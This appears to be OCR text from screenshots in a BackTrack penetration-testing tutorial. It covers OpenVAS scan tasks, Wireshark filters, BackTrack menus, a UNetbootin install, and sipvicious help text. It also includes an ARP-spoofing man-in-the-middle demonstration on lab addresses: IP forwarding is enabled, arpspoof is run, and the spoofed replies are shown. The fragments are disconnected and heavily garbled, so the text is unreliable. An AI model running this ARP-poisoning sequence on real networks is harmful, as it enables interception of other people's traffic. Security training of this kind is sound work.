Task Summary @ & FEEx*

Back to Tasks

Name: Windows Scan
Comment:

Config: Windows Vulnerabilities
Escalator

Schedule: (Next due: over)
Target: Local Network
Slave:

Status:

Reports: 1 (Finished: 1)

Reports for "Windows Scan” @& S

Scan Results
Threat - Actions

Report
NN
\[glcﬁ:iDec 5 15:48:34 2012 i " 0 0 14 31 0 Eiu

Notes on Results of "Windows Scan" @ &

[

Overrides on Results of "Windows Scan" @ &

i Jron [0 [er  Jroon ]
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‘Wireshark: Capture Filter - Profile: Default
Capture Filter

Ethemet address 00:08:15:00:08:15

Ethenet type 0x0806 (ARP)

No Broadcast and no Multicast

No ARP

1P only
IP address 192.168.0.1
1PX only
Delete | (Tcp only
UDP only
—

Properties.

Filter name: | No Broadcast and no Multicast

Filter string: [ not broadcast and not multicast

Help Cancel ]I[
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Name Windows Scan
Comment (optional)

Scan Config Windows Vulnerabilities
Scan Targets Local Network -

Escalator (optional) - -

Schedule (optional) [

Slave (optional) -

Create Task
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Capture Analyze Statistics Te

Interfaces... Ctri+l
Options... Ctri+K
Start Ctri+E
Stop Ctri+E
R Ctri+R

Capture Filters...
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QB DL

Mew Settings Show Discard
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& BackTrack ¥ o information Gathering .

& Graphics » T Vulnerability Assessment » es default pass.txt

@ intemet » ['o [Exploitation Tools " Lz, Network Exploitation Tools
¥ office » &\ Privilege Escalation > & Web Exploitation Tools

B other » HJ Maintaining Access » @ Database Exploitation Tools
I, sound & Video » 7T Reverse Engineering > € Wireless Exploitation Tools
£ system Tools + 4/ RFID Tools ~ @ Social Engineering Tools

Y wine » & Stress Testing > {7 Physical Exploitation

templatel’ Forensics » @\ Open Source Exploitation
] 192.158.10.111:5432+ & op = P
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File Edl?i View Go<capture Jnalyze Statistics Telephony Tools Internals Help
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root@bt:~# cd /pentest/voip/sipvicious/
root@bt:/pentest/voip/sipvicious#
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Navigation
2 Scan Management
o Tasks
o New Task
o Notes
o Overrides
o Performance
@ Configuration
© Scan Configs
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves

& Administration

o NVT Feed

o Settings
@ Help

o Contents

o About

Edit Scan Config Details il

Back to Configs

Name: Linux Vulnerabilities
Comment:

Edit Network Vulnerability Test Families
AIX Local Security Checks Oof1 OLd @ ad |

0of 11 ™1~ 6]~
0 of 333 ook
CISCO 0of 4 rHel

Old @ kd

ion

Brute force attacks

Buffer overflow

CentOS Local Security Checks 0 of 669
Compliance 0of 3
Credentials 0of 2
Databases 0 of 52
Debian Local Security Checks 0 of 2189
Default Accounts 0 of 20
Denial of Service 0of 619

FTP 0 of 142
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t'oot@bt :~# cd /pentest/voip/sipvicious/
root@bt: /pentest/voip/sipvicious# 2ol
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root@bt:/pentest/voip/sipvicious# ./svmap.py -h
sage: svmap.py [options] hostl host2 hostrange
xamples:

svmap.py 10.0.0.1-10.0.0.255 \

.16.131.1 sipvicious.org/22 10.0.1.1/24 \
1.3.1.1-20°1.1.2-28.% 4.1 .% . *
svmap.py -s sessionl --randomize 10.0.0.1/8
svmap.py --resume sessionl -v
svmap.py -p5060-5062 10.6.0.3-20 -m INVITE

ptions:
--version show program's version number and exit
-h, --help show this help message and exit

-v, --verbose Increase verbpsity ‘

-q, --quiet, ie d ‘

-p PORT, éaréom.u ;a n or port aﬁ-esaﬁ
/ e‘g"a m‘ & A%

-P PORT, --localport=PORT
Source port for our packets
-x IP, --externalip=IP
IP Address to use as the external ip. Specify this if
you have multiple interfaces or if you are behind NAT
-b BINDINGIP, --bindingip=BINDINGIP
By default we bind to all interfaces. This option
overrides that and binds to the specified ip address
-t SELECTTIME, --timeout=SELECTTIME
This option allows you to trottle the speed at which
packets are sent. Change this if you're losing
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1. Downloading Files (Done)
2. Extracting and Copying Files (Current)
3. Instaling Bootioader

4. Instalation Complete, Reboot

Extracting files, please wait...
Archive: E:\Applibrary\Linux\Forensics\BT 5r2-GNOME-64\BT5R 2-GNOME-64.is0

Source: casper filesystem.squashfs (1973 M8)

Destination: H: \casper \filesystem.squashfs
Extracted: 9 of 23 files
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root@bt:~# arpspoof
Version: 2.4
Usage: arpsEoof [-i interface] [-t target] host
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root@bt:~# echo 1 > /proc/sys/net/ipv4/ip forward
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| UsB bus number 1: usbmon1
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110 (1oopback)

e —_— -
Ready to load or capture No Packets.
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() Distribution | == Select Distribution == v | | == Select Version ==

Welcome to UNetbootin, the Universal Metboot Installer. Usage:

1. Select a distribution and version to download from the list above, or manually spedfy files to
load below,
2. Select an installation type, and press OK to begin installing.

@ Diskimage 150 w | nsics\BT5r 2-GNOME-64'ET 5R. 2-GNOME-64.is0 -

Space used to preserve files across reboots (Ubuntu only

Type: |USE Drive v] Drive:
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root@bt:~# arpspoof -t 192.168.56.100 192.168.56.1 ) —
8:0:27:93:86:4f 8:0:27:75:ed:8d 0806 42: arp reply 192.168.56.1 is-at 8

127293 :

86:4f
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<:7 é{Nsﬁ 41 *s 27:75:ed 806 42: ﬁ“’a &.:1 56 ’“‘F‘a) 9:27:93:

as af

8:0:27:93:86:4f 8:0:27:75:ed:8d 9806 42: arp reply 192.168.56.1 i5-at 8:0:27:93:
86:4f
8:0:27:93:86:4f 8:0:27:75:ed:8d 0806 42: arp reply 192.168.56.1 is-at 8:0:27:93:
86:4F
8:0:27:93:86:4f 8:0:27:75:ed:8d 0806 42: arp reply 192.168.56.1 is-at 8:0:27:93:
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